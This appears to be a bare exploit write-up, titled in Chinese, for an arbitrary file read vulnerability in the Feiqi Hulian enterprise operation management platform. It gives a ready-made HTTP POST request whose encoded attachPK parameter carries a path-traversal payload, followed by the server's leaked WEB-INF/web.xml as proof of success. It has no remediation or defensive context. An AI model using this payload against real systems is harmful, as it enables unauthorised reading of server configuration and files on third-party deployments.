飞企互联企业运营管理平台存在任意文件读取

POST /servlet/webchat/attachment/1 HTTP/1.1
attachPK=%2Fv8AMQAJAC8ACQAvAAkALwAJAC8ALgAuAC8ALgAuAC8ALgAuAC8AagBiAG8AcwBzAC8AdwBlAGIALwBmAGUALgB3AGEAcgAvAFcARQBCAC0ASQBOAEYALwB3AGUAYgAuAHgAbQBs&mailAttachment=1

<?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee                      http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"         version="3.1">    <context-param>        <param-name>contextConfigLocation</param-name>        <param-value>/WEB-INF/classes/spring/*-bean.xml</param-value>    </context-param>    <context-param>        <param-name>log4jConfigLocation</param-name>        <param-value>WEB-INF/classes/log4j.properties</param-value>    </context-param>    <context-param>        <param-name>log4jRefreshInterval</param-name>        <param-value>60000</param-value>    </context-param>    <context-param>        <param-name>embedhttpserver</param-name>        <param-value>false</param-value>    </context-param>    <context-param>        <param-name>embedhttpserverPort</param-name>        <param-value>6629</param-value>    </context-param>    ....